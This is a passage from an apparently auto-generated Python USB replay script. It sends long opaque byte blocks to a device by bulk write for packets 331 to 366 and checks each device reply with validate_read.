b\"\\x0E\\xE5\\x05\\x2B\\xB8\\x7B\\x69\\x73\\x4F\\x08\\x65\\x1C\\x3C\\x63\\xBB\\x72\"\n b\"\\x17\\xEC\\x91\\xA5\\x94\\x54\\xB0\\x93\\x31\\xE3\\xFF\\xD7\\x3E\\xDB\\xF3\\xC9\"\n b\"\\xDC\\x80\\xE8\\x2D\\xBE\\x37\\x10\\x60\\xD5\\x50\\xBB\\x40\\xA0\\xA6\\x03\\x86\"\n b\"\\xE4\\x06\\xA5\\x66\\x83\\x63\\x90\\x2A\\x14\\x12\\xC9\\x56\\xE9\\x0E\\x94\\x4E\"\n b\"\\x44\\x02\\xC1\\x22\\x17\\x22\\x08\\x39\\x56\\xE7\\x35\\x6C\\xDF\\xD2\\x20\\x34\"\n b\"\\xF6\\x4B\\x66\\xBD\\xDE\\x45\\x19\\xED\\xB1\\xD3\\xAE\\xF3\\x8C\\x81\\xA3\\x26\"\n b\"\\xC7\\x37\\x5E\\xC2\\xAC\\x83\\x9D\\x42\\xC3\\x64\\x89\\x11\\xC1\\x5E\\x1B\\xD8\"\n b\"\\x54\\x33\\xE3\\xB4\\xC7\\x92\\x76\\x61\\x3E\\xAD\\xA9\\x74\\x67\\x76\\xCB\\x7B\"\n b\"\\x09\\x24\\x38\\x16\\xE4\\xF4\\x8A\\x55\\xFC\\x61\\xAD\\xA7\\x65\\x52\\x97\\xA2\"\n b\"\\x8E\\xE4\\x4F\\xEA\\xD4\\x49\\xDF\\x68\\x6C\\x96\\x82\\xFD\\x5C\\xA3\\x4B\\x19\"\n b\"\\x02\\xF2\\x46\\x9E\\x8F\\xA6\\x89\\x95\\x49\\x25\\xEB\\x64\\xBE\\xDB\\x6F\\x73\"\n b\"\\xD6\\x73\\x3E\\xE4\\x3C\\x6F\\x6B\\x69\\x50\\x3F\\xCC\\x92\\x61\\x2F\\xE2\\xEA\"\n b\"\\x6C\\x5A\\xFE\\x63\\x1D\\xE2\\xC9\\x9E\\x13\\x67\\xEC\\xD0\\x8C\\x1C\\x8C\\x3B\"\n b\"\\x3F\\x24\\x12\\x28\\xED\\x7A\\x3A\\x56\\x76\\xCA\\xD6\\xBA\\x6A\\x3E\\xCE\\x87\"\n b\"\\x36\\x27\\x46\\x26\\xD8\\x91\\x8B\\xB2\\x2D\\x55\\xEF\\x61\")\n # Generated from packet 331/332\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 331/332\")\n # Generated from packet 333/334\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x47\\xFA\\xAF\\x55\\x0D\\x26\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x39\\x76\\x3E\\xAB\\x4C\\x5A\\x9F\\xBD\"\n b\"\\xA6\\xD3\\x49\\x70\\x0E\\x3D\\x1C\\xA0\\xB9\\x90\\x8B\\xED\\xFC\\x7E\\xED\\xFB\"\n b\"\\x03\\x89\\xA8\\x21\\x5A\\x2F\\x75\\xAF\\x63\\xC5\\x6F\\x24\\xF4\\x68\\x91\\x4D\"\n b\"\\x8A\\x12\\xA0\\x90\\x2E\\x5C\\xC4\\x3F\\xF3\\xAF\\xEA\\x2F\\x40\\x01\\xA0\\xDF\"\n b\"\\x52\\x0B\\xBE\\x8C\\xD4\\xD6\\xDC\\x33\\x3F\\xFC\\xE9\\x0A\\x1B\\x9C\\xC0\\x06\"\n b\"\\x33\\xF2\\xB6\\xBD\\xD6\\xEA\\x02\\x7F\\xAA\\xE7\\xE8\\x28\\x15\\x84\\xCC\\x5C\"\n b\"\\x79\\x64\\xA3\\xCF\\x86\\x46\\xA1\\x84\\xAB\\xF7\\x01\\x46\\x78\\xD8\\xEE\\x8D\"\n b\"\\x8A\\x14\\xDE\\x58\\x12\\x4A\\xAB\\xE1\\x0A\\x51\\x86\\x07\\xCB\\x9B\\x11\\x1E\"\n b\"\\x09\\x0C\\x44\\xE9\\x3F\\x1A\\xD3\\xB4\\x2C\\x20\\x76\\x33\\x8B\\xC7\\x12\\x6F\"\n b\"\\x9A\\x29\\xFE\\x6E\\xD9\\x24\\xA4\\xD5\\x93\\xE1\\x5D\\x42\\xAF\\x22\\xAC\\x85\"\n b\"\\xC1\\x94\\x99\\x27\\x69\\x6A\\x8D\\x5E\\xC6\\xEB\\xCE\\xDD\\xC4\\x2A\\x8F\\x9C\"\n b\"\\x0B\\xA4\\x49\\x06\\x6E\\xFE\\xA9\\x1D\\xBC\\xE4\\x34\\xB2\\xA2\\xD0\\x3F\\xBA\"\n b\"\\x3F\\xE1\\x33\\xE9\\xC1\\x02\\x10\\xFC\\x65\\xC7\\x69\\xE8\\x37\\xB8\\xDC\\xF8\"\n b\"\\x03\\xC2\\x79\\xA5\\x00\\x7D\\x23\\x2B\\xFC\\x42\\xF4\\x50\\x64\\x57\\x82\\x0D\"\n b\"\\x20\\xF1\\xDB\\x26\\x8C\\x3F\\x1F\\xD6\\xD1\\xD8\\x5C\\x24\\xA4\\xA4\\xEE\\x58\"\n b\"\\x25\\x9B\\xDD\\x60\\xB3\\xEC\\x95\\x70\\x99\\x96\\x96\\x2D\\x77\\x64\\xAF\\xC0\"\n b\"\\xF0\\xE7\\x18\\x6B\\xE7\\xFC\\x01\\xE8\\x28\\x72\\xC3\\xB2\")\n # Generated from packet 335/336\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 335/336\")\n # Generated from packet 337/338\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x18\\x77\\xE0\\xE9\\x89\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0C\\xD4\\x40\\x6A\\xAA\\x52\\x72\\x5C\"\n b\"\\x3F\\x41\\x42\\x46\\xB4\\xE8\\x09\\xB3\\x41\\xD5\\xA7\\x9C\\x7F\\x1C\\xFC\\x23\"\n b\"\\x9F\\x0E\\x66\\xAD\\x76\\xF3\\xF3\\x2E\\x56\\x84\\x81\\x52\\xA6\\x41\\x30\\x8D\"\n b\"\\xFF\\x30\\xA4\\x8F\\x9D\\x5F\\x57\\xAE\\xC3\\xF5\\xEF\\xCB\\x8F\\x77\\x5A\\x61\"\n b\"\\x4E\\x77\\x58\\x4B\\xFB\\x9D\\x3D\\x7F\\xC7\\xBA\\x53\\xBA\\x02\\x9C\\x4A\\x63\"\n b\"\\x2C\\x26\\x59\\x4D\\x69\\x9E\\x06\\x83\\x1C\\x51\\xFF\\xC9\\xE3\\x97\\x44\\x65\"\n b\"\\xF7\\xD1\\x51\\xCA\\xA3\\xDB\\x8D\\xC2\\x39\\xCF\\x8D\\xD4\\x3F\\x4F\\xF6\\x9A\"\n b\"\\xED\\x01\\xC3\\xE1\\xC6\\x57\\xE4\\x46\\x64\\x52\\xA8\\x6A\\x24\\xE6\\xCA\\x6B\"\n b\"\\x06\\xE5\\xC2\\xC1\\x5D\\xB2\\xA3\\x21\\x15\\xED\\x96\\xE6\\xEB\\xC6\\xD4\\x66\"\n b\"\\xD6\\x64\\x50\\xAE\\xB7\\xBF\\x7F\\xAD\\xDC\\x69\\x07\\xF5\\xB1\\xF0\\xCC\\x6E\"\n b\"\\x40\\x01\\x82\\xE7\\x12\\x2E\\x9B\\xA8\\x1C\\xD3\\x16\\xE2\\xBD\\x72\\x88\\x49\"\n b\"\\x7C\\x36\\x25\\xC8\\x74\\x87\\x40\\x0D\\xB9\\xF5\\x53\\x36\\x52\\x00\\x47\\xF8\"\n b\"\\x71\\x94\\xA4\\x86\\x28\\x5D\\x2A\\x5B\\x8C\\x4F\\x6B\\xB4\\xF0\\x40\\xDF\\xE4\"\n b\"\\xD9\\xB1\\xEA\\xD2\\x57\\x12\\x4F\\x37\\xB2\\x8E\\xE6\\x20\\xF7\\x3D\\x7D\\x4A\"\n b\"\\x32\\x9F\\x4D\\x2B\\x63\\x06\\xDB\\xBA\\x93\\xCC\\x28\\xC3\\x22\\x4E\\x78\\xF7\"\n b\"\\x73\\x43\\x8A\\xCF\\x6E\\x3E\\xF0\\xAA\\xEC\\x8F\\x62\\x00\\xCA\\x5F\\x6E\\x75\"\n b\"\\x27\\x82\\x3C\\x16\\x90\\xD2\\x56\\xAA\\x34\\x6C\\x43\\x92\")\n # Generated from packet 339/340\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 339/340\")\n # Generated from packet 341/342\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDB\\x12\\x8D\\x68\\x0A\\x03\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x45\\x95\\x75\\x24\\xA7\\xA3\\xD7\\xD7\"\n b\"\\x04\\xA0\\x9F\\x99\\x2D\\xA1\\x35\\x5F\\x6A\\x17\\x86\\xE5\\x19\\x87\\x1D\\x46\"\n b\"\\xD4\\x57\\x6B\\xF8\\x85\\x0B\\x04\\xD3\\x81\\x7C\\x94\\x77\\xEA\\x63\\x6D\\x3D\"\n b\"\\x82\\xD4\\x46\\x02\\xCC\\x99\\x8D\\xB4\\x99\\xB5\\xAC\\x3B\\x8B\\xFC\\x2A\\xF8\"\n b\"\\x4E\\xCF\\x7D\\xF6\\x35\\xCF\\x02\\xF4\\xDF\\x39\\x45\\xF5\\xF6\\xBF\\x22\\x80\"\n b\"\\x26\\x7B\\x87\\xE4\\x22\\xCE\\x79\\x2E\\x4B\\xD0\\x1E\\xBC\\x69\\x0F\\xE7\\x1B\"\n b\"\\xC9\\xF1\\x13\\x96\\x61\\x43\\xFE\\xCE\\xB8\\x37\\x62\\xAC\\x8D\\x4D\\x0E\\x99\"\n b\"\\xB8\\x26\\xB6\\x86\\x5C\\xD0\\x9C\\x3C\\xBE\\x52\\x35\\x66\\xA0\\x45\\x82\\xEF\"\n b\"\\x37\\x36\\x5D\\x1F\\x0C\\xA5\\x3A\\x56\\x6D\\x43\\x5C\\x59\\x7D\\xA6\\x87\\x83\"\n b\"\\x84\\x59\\xAA\\x45\\x81\\x92\\xB4\\x74\\xDF\\xDF\\x64\\x5B\\x87\\x83\\x26\\x3E\"\n b\"\\x7F\\xE9\\x25\\x4C\\xD9\\x16\\xA8\\xC8\\x05\\x69\\x5C\\xD6\\x7B\\x8F\\x9D\\x44\"\n b\"\\xE4\\x60\\x77\\xB1\\x53\\xE8\\x82\\xAA\\x62\\xBC\\x7A\\x2A\\x3C\\x8B\\xEF\\x3B\"\n b\"\\xDB\\x96\\xA6\\xAD\\xC5\\xCB\\x60\\x48\\x6B\\x12\\x95\\x18\\xDE\\xDF\\xDF\\x60\"\n b\"\\xE6\\x0D\\xB8\\xF4\\x87\\x4A\\xAA\\x64\\x1E\\x83\\xF9\\x52\\xAA\\x34\\xD1\\xD9\"\n b\"\\x02\\xF2\\x18\\xFA\\x83\\x43\\xD4\\xE7\\xD2\\x67\\x95\\xE9\\x9C\\x0E\\x99\\x14\"\n b\"\\xB8\\xD7\\x19\\x86\\x6A\\x45\\xFE\\x7C\\xFA\\x00\\x2E\\x94\\x1D\\x49\\x67\\xCF\"\n b\"\\x49\\xC7\\x3A\\x23\\x9A\\x81\\x54\\xC9\\x76\\x3C\\x2D\\xFB\")\n # Generated from packet 343/344\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 343/344\")\n # Generated from packet 345/346\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x01\\x7F\\x20\\x9E\\x1C\\x30\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x61\\xDB\\xA9\\xAC\\x96\\xB5\\x27\\x86\"\n b\"\\xEF\\xD1\\x2C\\x3D\\xA7\\xF9\\x12\\x11\\xA4\\xB9\\xC2\\xF2\\x95\\xDB\\x2B\\xB8\"\n b\"\\x64\\x91\\xF1\\x8D\\x54\\xF2\\x22\\x14\\xAB\\x58\\xFF\\x4A\\xFD\\x30\\xBF\\x3D\"\n b\"\\x65\\x83\\x98\\xEE\\x7E\\x2E\\x5C\\xD1\\x58\\x1A\\xB7\\x28\\x2F\\xB4\\xA1\\x96\"\n b\"\\x2F\\x0C\\x19\\x33\\x7D\\xBD\\xDA\\x9E\\x91\\x67\\xC0\\xB9\\xF8\\xEE\\x8B\\x64\"\n b\"\\xFD\\xC8\\xD5\\x26\\x69\\xB9\\x61\\xE6\\xA3\\xD2\\xE9\\xF6\\xFB\\x81\\xA1\\x0F\"\n b\"\\x8E\\x8F\\xF3\\x98\\x88\\xC1\\xB4\\xA5\\xB9\\xB5\\x67\\xC6\\x55\\x80\\xF8\\x68\"\n b\"\\x9D\\xD8\\xC9\\x5F\\xB2\\xC9\\xC2\\x6F\\x7E\\x85\\xDD\\x70\\x93\\xA0\\x11\\x4B\"\n b\"\\x50\\xEF\\xEA\\xF7\\x36\\x52\\xD2\\x45\\x11\\x14\\x08\\xF1\\xB4\\x5F\\x26\\xAB\"\n b\"\\xD8\\x48\\xAF\\xD5\\xE5\\x60\\x14\\xFF\\x04\\xB4\\xCD\\xBD\\x11\\x71\\x8E\\x35\"\n b\"\\x67\\x56\\x0C\\xAE\\x2D\\x6C\\xDA\\xAC\\x7D\\x83\\x61\\x28\\x06\\x63\\x8A\\x45\"\n b\"\\x20\\x0F\\xF0\\x83\\x87\\x06\\x91\\xC3\\x41\\x10\\x80\\x5C\\xC7\\x70\\x8D\\x0E\"\n b\"\\xBE\\x8D\\x62\\x1A\\x74\\xD9\\xEA\\x66\\x89\\xC9\\x4D\\xBD\\x2D\\xC7\\xF9\\x6D\"\n b\"\\xA7\\x1E\\x42\\xBA\\xBF\\xA5\\xBF\\x77\\xA6\\xE7\\x35\\xF1\\x5E\\xAD\\xCD\\x3A\"\n b\"\\xD5\\xFA\\x7B\\xDF\\x3D\\x5A\\x5C\\xD3\\x00\\x42\\x4E\\xE9\\x5D\\xF6\\x2B\\x1B\"\n b\"\\x7D\\xC7\\xE3\\xEA\\x46\\x57\\x50\\xE3\\x80\\x4D\\x43\\xEC\\xBB\\xFC\\x00\\xBA\"\n b\"\\x7C\\xF6\\xBB\\x98\\xA4\\xEC\\x93\\x10\\xDB\\x07\\xB1\\xBB\")\n # Generated from packet 347/348\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 347/348\")\n # Generated from packet 349/350\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCF\\xAD\\x7B\\x5D\\xDB\\x0B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE9\\xDE\\x0E\\xC3\\x18\\x4E\\xC3\\xCA\"\n b\"\\x73\\xD8\\xD7\\x35\\xED\\x61\\x9D\\x49\\x8B\\xE2\\x06\\x08\\x5C\\xE3\\xDE\\x0C\"\n b\"\\x60\\x3D\\x04\\x56\\xF4\\x7A\\xE1\\x92\\x1C\\x0C\\x03\\x87\\x00\\xDF\\xD4\\xF3\"\n b\"\\x82\\x72\\xB0\\xC4\\x19\\x94\\x20\\xF8\\xB7\\xC5\\x14\\xC1\\xA7\\x0C\\x39\\xE3\"\n b\"\\x40\\x13\\x5E\\x92\\x68\\x7B\\x42\\x74\\x9A\\x88\\x20\\x58\\xB8\\x4C\\x60\\x72\"\n b\"\\x3D\\xDA\\x92\\xA6\\xD4\\x7E\\x16\\xD3\\xA0\\x9B\\x01\\xAB\\x89\\x9C\\x3D\\x33\"\n b\"\\x8A\\x13\\x14\\x47\\xCD\\xF2\\x7A\\xC8\\x6D\\xF7\\x70\\x92\\x3F\\x64\\xDE\\x5C\"\n b\"\\x54\\x0B\\x23\\x24\\x51\\xB1\\x60\\x23\\x5D\\x86\\x55\\xDE\\xBF\\x4B\\xE8\\x0F\"\n b\"\\x0C\\x87\\x59\\x15\\xDD\\x2F\\x05\\xE7\\xEA\\x48\\x27\\xE3\\x13\\x73\\xE8\\x19\"\n b\"\\x12\\x2E\\xA7\\xAA\\x85\\xF2\\x24\\xAE\\x6A\\x3F\\x7A\\x23\\x6A\\x6D\\x72\\x39\"\n b\"\\xE7\\xD1\\x15\\xBF\\xDF\\xFD\\xD1\\xAC\\x24\\x5D\\x27\\x0F\\x08\\x56\\xDA\\x5B\"\n b\"\\xBA\\xF4\\x0F\\x70\\x2E\\xCC\\xB4\\x06\\xAB\\x6C\\x9D\\xB7\\xBC\\x67\\x5B\\xAF\"\n b\"\\xFE\\x2D\\xC8\\x00\\x30\\x72\\x91\\x4D\\x9A\\x3A\\xA3\\xB0\\x88\\x34\\xE1\\x97\"\n b\"\\x3E\\x1D\\x97\\xF0\\x5B\\xBA\\xD9\\x32\\xE9\\x05\\x1D\\x51\\xC8\\x70\\xA6\\x22\"\n b\"\\xC7\\xC7\\x04\\xF5\\xC8\\x47\\xD3\\xCB\\x81\\xEA\\xB8\\x8F\\xE1\\xB2\\x3F\\x6A\"\n b\"\\x9A\\x9A\\x6A\\x0D\\x16\\x13\\xD7\\x71\\x67\\x13\\xA1\\x32\\xD1\\x44\\xEC\\xDF\"\n b\"\\xE3\\x7F\\x12\\xA1\\x12\\xA7\\x63\\x1D\\xB2\\x73\\x46\\x05\")\n # Generated from packet 351/352\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 351/352\")\n # Generated from packet 353/354\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB6\\x16\\x31\\x0C\\xAE\\x56\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x27\\x6B\\x27\\xFF\\xB2\\x80\\x82\\x34\"\n b\"\\xBE\\xEE\\xB4\\x65\\x80\\x39\\x5F\\x22\\xEF\\x13\\x9E\\x6A\\xBD\\x22\\xAF\\x3A\"\n b\"\\x77\\x19\\xAD\\x85\\xD4\\x82\\x6E\\x41\\x32\\xAA\\x27\\x0E\\xA4\\x51\\x75\\xFB\"\n b\"\\x49\\xFF\\xED\\x4C\\x5A\\x5C\\x31\\xC8\\x4A\\xEA\\x45\\x3B\\x5A\\xDD\\x7D\\x87\"\n b\"\\xFE\\x26\\x00\\xD3\\x6E\\xF6\\x0C\\x3F\\xA9\\xF0\\xE0\\x8A\\x17\\x32\\x7F\\xFE\"\n b\"\\x45\\xD8\\x57\\x4C\\x8B\\x92\\x26\\x0A\\xFF\\x8C\\x1A\\x4F\\xD1\\xB9\\x9D\\xBB\"\n b\"\\xAB\\xC3\\xF8\\xA2\\x63\\x0E\\x4D\\x2E\\xAD\\x0E\\xDF\\x65\\xD6\\x96\\x41\\x0E\"\n b\"\\x70\\xA3\\x41\\xC2\\x09\\x83\\xFB\\xB2\\x0D\\xE7\\x78\\x9E\\x70\\xED\\xE5\\x75\"\n b\"\\x53\\x64\\xB7\\x0F\\xE6\\xA2\\x9F\\xDF\\x79\\xC4\\x1F\\xFD\\xDD\\xF9\\x46\\xC1\"\n b\"\\xAB\\x3B\\xD0\\xB9\\xB6\\x6D\\x56\\x58\\xBA\\x0A\\xA7\\xCC\\xE5\\x0D\\x6D\\x42\"\n b\"\\xF1\\x66\\xDB\\x5B\\xE4\\x50\\x0A\\x37\\x18\\xD0\\xDD\\x52\\x9D\\x30\\x30\\xC1\"\n b\"\\x07\\x6B\\x91\\x0B\\xA3\\xE0\\x01\\xE2\\xE3\\xDF\\x1D\\xF7\\x92\\x2D\\xDE\\xF7\"\n b\"\\xD2\\x41\\x3C\\xAE\\xB3\\x67\\x91\\x5B\\x50\\x9B\\xBA\\xE3\\x49\\x33\\x8B\\x4A\"\n b\"\\x7A\\x1B\\xA1\\x70\\xF3\\x12\\xB9\\x90\\x6D\\x57\\xFD\\x45\\x1B\\x4D\\xC9\\x4D\"\n b\"\\x4A\\xB1\\x48\\x7F\\xF7\\xE2\\xA5\\x5D\\x39\\x42\\x0C\\x39\\x26\\x0A\\x65\\x56\"\n b\"\\xB2\\x1C\\x70\\xD7\\x36\\x3D\\x17\\x9D\\x8C\\x83\\x15\\x6B\\x13\\x43\\x78\\x98\"\n b\"\\x9E\\xDD\\x1F\\xF4\\x4C\\x0E\\xC4\\x08\\x28\\x8C\\x69\\x9A\")\n # Generated from packet 355/356\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 355/356\")\n # Generated from packet 357/358\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x70\\x4D\\xF5\\xC9\\x32\\x07\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB9\\x68\\x87\\x15\\x42\\x74\\x97\\xBE\"\n b\"\\x45\\xDF\\x80\\x0A\\x03\\x8D\\xBD\\x6A\\x77\\xA0\\xDC\\x4A\\x57\\x4B\\xFF\\xEC\"\n b\"\\x03\\x67\\x90\\x68\\xF4\\x0E\\xB3\\x48\\x11\\xA7\\x5D\\xD6\\xE6\\x70\\x8F\\x9C\"\n b\"\\x8C\\xDC\\x80\\x63\\xD0\\xCC\\x33\\x77\\xBB\\x97\\xF3\\xD3\\x59\\xF1\\x68\\x4D\"\n b\"\\x05\\x31\\xCE\\x74\\xE2\\xF0\\xFC\\xAE\\x4A\\x10\\x0D\\xE5\\xFE\\xAA\\xB5\\x66\"\n b\"\\xA7\\xDD\\x3D\\xFF\\x30\\xB6\\x59\\x99\\x80\\x00\\x2D\\xD9\\xB1\\x75\\x5E\\x80\"\n b\"\\xF1\\x7D\\x5E\\x31\\x49\\xB1\\x79\\x9C\\x64\\xCE\\x68\\x8B\\x72\\x57\\xFF\\x7A\"\n b\"\\x8B\\x4D\\x8D\\xAD\\x95\\xB0\\x37\\xF1\\xDF\\x69\\xF4\\x7A\\x1E\\x95\\x78\\xDD\"\n b\"\\x4F\\xE6\\xCC\\xAC\\x37\\x55\\x17\\xC2\\x99\\x9A\\x1D\\xBD\\x55\\xD4\\x01\\x30\"\n b\"\\x15\\xE7\\x76\\x35\\xFB\\x0A\\x43\\x1C\\x77\\x88\\x61\\x8D\\x3D\\x9C\\x58\\xCE\"\n b\"\\x44\\x56\\x4A\\x71\\x90\\x4D\\x29\\xD3\\x9F\\xD5\\x25\\x9A\\xFE\\x98\\x3A\\x43\"\n b\"\\xE1\\x15\\xDF\\x78\\xEA\\xCD\\xD6\\x7E\\xD3\\x75\\xD4\\xC7\\xC5\\xE1\\xD2\\xCC\"\n b\"\\x4B\\x26\\x11\\x6D\\x69\\x50\\xBD\\x66\\x2F\\x85\\xAA\\xDE\\xAE\\xED\\x84\\x65\"\n b\"\\x7E\\x31\\x5B\\x8D\\xD4\\x50\\xCD\\x1B\\x9A\\x5F\\x1E\\x0B\\x4D\\xEF\\x6F\\x93\"\n b\"\\x89\\xAE\\xB2\\x84\\x09\\x4E\\x3C\\xA0\\x95\\xA2\\x01\\x36\\x6D\\x28\\x9D\\xE0\"\n b\"\\xD0\\x41\\x0D\\x20\\x48\\x25\\x81\\x0F\\xAE\\x3E\\x4F\\x11\\xB2\\x15\\x46\\x20\"\n b\"\\xE6\\xBC\\x0D\\xEE\\xD1\\x13\\x22\\x8D\\x9F\\x46\\xDF\\xE7\")\n # Generated from packet 359/360\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 359/360\")\n # Generated from packet 361/362\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x64\\x48\\xA9\\x42\\x20\\x01\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAD\\x4F\\x3D\\xEF\\x0E\\xED\\x7E\\xCB\"\n b\"\\x5F\\x95\\xEF\\xAE\\x07\\x6D\\x0A\\x15\\x22\\xE1\\x58\\x62\\x56\\x78\\x73\\x3F\"\n b\"\\x89\\xEB\\x63\\x14\\xE7\\x86\\x61\\x73\\x92\\xF9\\x9A\\x1C\\x15\\xFD\\x85\\x6D\"\n b\"\\x4A\\xD7\\xDA\\xCE\\x05\\x8B\\xFB\\xA0\\x41\\xFD\\x60\\x28\\x0E\\x3E\\x55\\x75\"\n b\"\\x13\\x27\\xEB\\xDE\\xBE\\xE8\\x40\\xEE\\x17\\x90\\xE6\\x79\\x59\\x3E\\xE9\\x67\"\n b\"\\xA4\\xFF\\xBE\\x11\\x7B\\x09\\xB0\\x2F\\x58\\xF3\\xC5\\xAA\\x21\\xE9\\x36\\x80\"\n b\"\\xF9\\x38\\x43\\x5E\\x30\\x3A\\x12\\xCE\\xDF\\xED\\xC0\\x00\\x74\\xD6\\xB3\\x5E\"\n b\"\\x8F\\x26\\x5F\\xA0\\xFA\\x33\\x93\\x6A\\xF6\\x56\\x08\\x59\\x20\\xC7\\xAE\\xB4\"\n b\"\\xA4\\x2D\\xB2\\xD4\\x50\\x3F\\xB2\\x98\\xFB\\x90\\x15\\xD2\\x77\\x87\\xEA\\x3F\"\n b\"\\xA7\\x04\\x95\\xF2\\x99\\x27\\x52\\x4A\\xDC\\x0E\\x12\\xBA\\x42\\xFB\\x66\\xE8\"\n b\"\\x9D\\xA3\\xC1\\x55\\x65\\x55\\x97\\x70\\xF6\\x25\\x0D\\x25\\x21\\x0A\\xCB\\xAC\"\n b\"\\x25\\x49\\x7D\\xF2\\x39\\x94\\x28\\x06\\x06\\xB4\\x72\\xDC\\xCA\\x35\\x37\\x1E\"\n b\"\\xD3\\x99\\xF7\\x73\\xC0\\x15\\x5D\\x32\\xAC\\xC5\\x1D\\x20\\x7E\\x72\\x10\\x06\"\n b\"\\xAA\\xEF\\x60\\xC7\\x3F\\x4D\\xF0\\x0E\\x9B\\x1C\\xCB\\x3D\\x18\\xB2\\xDB\\x17\"\n b\"\\x55\\x7D\\x42\\xAE\\xB2\\xE7\\x6E\\x34\\xAC\\xE9\\xE3\\x8D\\x11\\x29\\x89\\xA3\"\n b\"\\x91\\x37\\xDC\\x2B\\xD9\\xD3\\x6F\\x89\\x19\\x2E\\x71\\x56\\x2C\\x0D\\x2C\\xB0\"\n b\"\\xD7\\x62\\x5F\\x9C\\xDB\\xB8\\x99\\xF2\\x88\\x81\\xFD\\xA3\")\n # Generated from packet 363/364\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 363/364\")\n # Generated from packet 365/366\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0B\\x2C\\x59\\xCB\\x9A\\x75\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\x5A\\x1B\\xD8\\x15\\xF6\\xFF\\x60\"\n b\"\\x68\\x96\\xBA\\x28\\xE7\\x8D\\x73\\xDF\\x48\\xF9\\x09\\xDE\\x4F\\x7D\\x79\\x45\"\n b\"\\xA5\\x32\\xD1\\x75\\xC8\\x05\\x27\\x6D\\x2E\\xA9\\x62\\xF9\\xE7\\x3B\\x42\\x09\"\n b\"\\x56\\x6E\\xEE\\x71\\xA4\\xA1\\x5C\\x74\\xC4\\x90\\x9E\\x48\\xC7\\xA4\\x0D\\x97\"\n b\"\\xC0\\x5C\\x32\\xA0\\xCD\\x98\\x3C\\xCB\\x9E\\x56\\xFF\\x45\\xB5\\xC3\\x8F\\xCC\"\n b\"\\x8A\\x68\\xC8\\x0D\\xEC\\x87\\xF4\\x13\\xE5\\xEF\\xF4\\x64\\xB3\\x47\\x9A\\x74\"\n b\"\\x06\\xBB\\x38\\xDA\\x9D\\x5F\\xF4\\x29\\x3A\\x65\\xE7\\xCB\\x13\\x0E\\xD1\\x20\"\n b\"\\xC1\\xAE\\xF4\\xC3\\x78\\x13\\xCC\\x11\\x76\\x88\\x7E\\x1E\\x14\\xFF\\xB4\\x3E\"\n b\"\\x78\\x10\\x2B\\xA6\\x4C\\x38\\xEE\\x3D\\x94\\x3C\\x2D\\x76\\x99\\xD7\\x48\\xD4\"\n b\"\\x67\\x05\\x3C\\x97\\x27\\x7A\\xA4\\xD7\\x73\\x1E\\xE1\\x31\\x7C\\x83\\xEB\\xE7\"\n b\"\\xF5\\xB5\\x21\\x46\\x74\\x9C\\xB5\\x37\\x5D\\x29\\x58\\x0E\\xAD\\xFC\\x34\\x5B\"\n b\"\\x94\\xF7\\xCD\\x9B\\x4A\\x03\\xBD\\x74\\x9C\\x7E\\xAC\\xA5\\x2D\\x38\\x85\\x6A\"\n b\"\\x56\\xCA\\x0D\\x1B\\xBC\\xCD\\x53\\xC1\\x1B\\xE1\\x02\\xD4\\x41\\x72\\x82\\xD0\"\n b\"\\x47\\x80\\x76\\xA4\\x72\\x34\\x9B\\x30\\xB4\\x25\\x0F\\x14\\x38\\x2E\\xD8\\x1A\"\n b\"\\x6F\\x28\\x02\\x0E\\xBB\\x82\\xDF\\x0A\\xA9\\xFB\\xC1\\xCA\\x2A\\x83\\x3B\\xAA\"\n b\"\\xDA\\xC8\\x74\\x77\\x71\\x71\\xF4\\x47\\xEF\\xCA\\xFC\\x51\\x7A\\x53\\xC0\\xA6\"\n 